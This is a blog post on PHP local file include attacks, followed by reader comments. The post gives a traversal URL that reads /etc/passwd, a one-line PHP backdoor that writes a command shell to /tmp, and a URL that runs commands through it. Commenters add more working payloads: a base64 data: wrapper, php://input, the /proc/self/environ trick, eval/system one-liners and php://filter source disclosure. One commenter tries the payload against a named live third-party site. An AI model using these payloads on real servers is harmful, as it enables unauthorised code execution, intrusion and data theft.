Cenzic 232 Patent
Paid Advertising
web application security lab

Micro PHP LFI Backdoor

I’ve been playing around a lot more with LFI attacks, because I think they’re more prevalent than I originally had expected. Last night I had cigars with one of the OWASP guys and I got to thinking that I should probably do a quick post about this. For those who aren’t clued in about LFI (local file include) attacks, it basically means that PHP is pulling in a file locally and running it (you see that happen a lot with flags like language=en where en represents a file called en.php). So an attack might look like:

http://www.example.com/index.php?language=../../../../../../etc/passwd%00

The null byte is to truncate anything at the end that the php file might be trying to append to the end of the file, like “.php” in “en.php” and so on. Although in that example password files aren’t PHP so it’s not helping you much beyond being able to read files off the file system. So the next step is finding the log files and injecting a PHP backdoor through a user agent or referring URL. There’s some problems with this depending on how you do it because Apache logs will escape quotes. Assuming you find a way around that (like using the error logs rather than the access logs) you can inject your PHP backdoor. Here’s my micro backdoor (thanks to Daniel Herrera for inspiration):

<?php $c=fopen('/tmp/g','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>

So now what this does is throw a PHP file into the /tmp directory (which is typically writable). More importantly that file can now be used to inject commands directly (in the example below it’s executing whoami):

http://www.example.com/index.php?language=../../../../../../tmp/g%00&f=whoami

If anyone has shorter/more effective LFI backdoor, please let me know and I’ll post them.

21 Responses to “Micro PHP LFI Backdoor”

  1. newfurniturey Says:

    I have a pretty effective LFI backdoor which won’t require any file loading at all!

    Taking advantage of PHP’s RFC 2397 support (http://php.net/manual/en/wrappers.data.php), you can inject the PHP code you want executed directly into the URL. With that said, using your above example:

    http://www.example.com/index.php?language=data:,?&cmd=whoami

    I’ve tested it out using several methods, including the support for base64 encoding:

    http://www.example.com/index.php?language=data:;base64,PD8gZXhlYygkX0dFVFtjbWRdKTsgPz4=&cmd=whoami

    Using the base64 encoding, you may be able to shorten your injection pending that they have size restrictions.

    Also notice above, when using $_GET[cmd], there aren’t any quotes used. This still works effectively and it comes in handy if the server has magic_quotes enabled ;)

  2. newfurniturey Says:

    Looks as though the last post cut off parts of the query string (nice filter =P).

    To see what the first URL included (after the data:, part), just base64 decode the second one. It has the exact same code in it.

  3. RSnake Says:

    @newfurniturey - I think something in the first URL got snipped - you have to HTML encode angle brackets. But very cool!

  4. GaRY Says:

    language=php://input

    that’s cool as well.
    no GET cmd footprint would be left in access_log

  5. RSnake Says:

    @GaRY - right with something like php://filter/resource=http://www.hacker.com/ with your RFI backdoor. Clever.

  6. Aaron Grattafiori Says:

    newfurniturey.. Nice find, clever use of base64 encoding too!

    You mentioned something like this but… If you know the remote web server is running on *nix, you can set your user agent to be some arbitrary PHP code, then include ../../../proc/self/enviorn. This will render/exec your code because it displays your user agent environment variable passed to the webserver. With that obviously you can call system() and there’s your backdoor.

  7. Adrian Says:

    If i understood, in the RSnake approach you first need to load the apache log containing the php code so it writes the /tmp file with the backdoor, right?
    newfurniturey way is great too :)

  8. yawnmoth Says:

    The idea of including a log file was discussed here:

    http://ha.ckers.org/blog/20090128/remote-file-include-voodoo/

    That said, null byte injection doesn’t work if magic_quotes_gpc is enabled. Of course, magic_quotes_gpc won’t even be supported in PHP6. Can’t the developers of the PHP language just, I dunno, make PHP filter out null bytes?

  9. stuckinphp Says:

    Quite surprised how many smarty based sites this works on.

  10. Aaron Grattafiori Says:

    Oops.. I should’ve mentioned what I talked about was already discussed (along with a few other interesting tricks) here:
    http://www.ush.it/2008/08/18/lfi2rce-local-file-inclusion-to-remote-code-execution-advanced-exploitation-proc-shortcuts/

  11. PaPPy Says:

    @yawnmoth Ive asked that very same question every time I have come across a LFI

    Id say use POST over GET, so it masks your requests. But remember your referral may need to be spoofed or masked.

  12. solid_snake Says:

    newfurniturey,
    that not LFI, that RFI. Such self-conaned RFI described early here:
    http://www.cr0w.ru/2009/03/self-contained-file-include-in-php-520.html

  13. newfurniturey Says:

    Technically, the method that I showed isn’t really including a file at all. It’s simply making use of the data wrappers that PHP supports. Of course, it’s exploiting the functions that include files, hence the “file inclusion” aspect.

    The LFI vs. RFI argument doesn’t really matter in this case as they both involve “including files”, one locally and one remotely, and this doesn’t include one. If you were to really label it, however, I guess that yes it would be considered RFI because it’s including “data” remotely. The cr0w.ru page shows it pretty well too!

    I especially like the php://filter/resource method outlined on that site, which was also noted above by GaRY! This method is more noticeably RFI though as it definitely includes a remote file =P

  14. Wornstrom Says:

    Re: including log files: <?php eval($_GET[’x']); ?> or <?php system($_GET[’x']); ?>
    you can use $_POST or $_COOKIE if you don’t want to leave traces in the log file, and known variables/constants in place of ‘x’ if quotes are a problem, such as $_GET[PHP_VERSION].

  15. Adrian Says:

    It’s like this method does not work as expected most of the time. For example:
    http://www.ferienwohnung-wacker.de/phpunity.newsmanager/phpunity-newsmanager/misc/tell_a_friend/tell.php?id=data:;base64,PD8gZXhlYygkX0dFVFtjbWRdKTsgPz4=&cmd=whoami
    That fails. However:
    http://www.ferienwohnung-wacker.de/phpunity.newsmanager/phpunity-newsmanager/misc/tell_a_friend/tell.php?id=../../../../../../../etc/passwd
    That works. Moreover, I’ve tried it on a sample webpage with the following code:

    It doesnt work in that page either. Whats the point im missing here?
    Thanks

  16. Adrian Says:

    It’s like the blog is filtering out php code, the sample webpage im using at home to test is like this:
    http://pastebin.com/m632c2378

  17. stuckinphp Says:

    Has anyone used this to include php (or other) files that already exist on the server? Including a file from a locked down directory like example.com/admin/reset_password.php works pretty well

    Usually locked down only by .htaccess which doesn’t have anything to do with the webserver accessing it for inclusion.

    Including the admins index page would give you links to all the admin pages, reducing guess work.

    For things like word press and the wp-admin index I am guessing this would be quite devastating.

  18. blue Says:

    In which enviroment does the log including works? Because, as far as i know and test, you can not load the access.log because the www-data user from apache doesn’t have the permissions to read it. At least in Ubuntu.

  19. DiabloHorn Says:

    When php://input is restricted you can also use the php://filter method to at least retrieve the source code of the page to try and find other vulnerabilities to exploit.

    http://diablohorn.wordpress.com/2010/01/16/interesting-local-file-inclusion-method/

    you can retrieve the source like this:

    http://www.somesite.com/?page=php://filter/convert.base64-encode/resource=in.php

  20. hyrax Says:

    I like to injext whenever allow_url_fopen is on. Then instead of using wget or passing commands to a system() function I include a php shell with all those features and more.

  21. hyrax Says:

    last msg filtered the php code

    ?
    include($_GET[’uri’);
    ?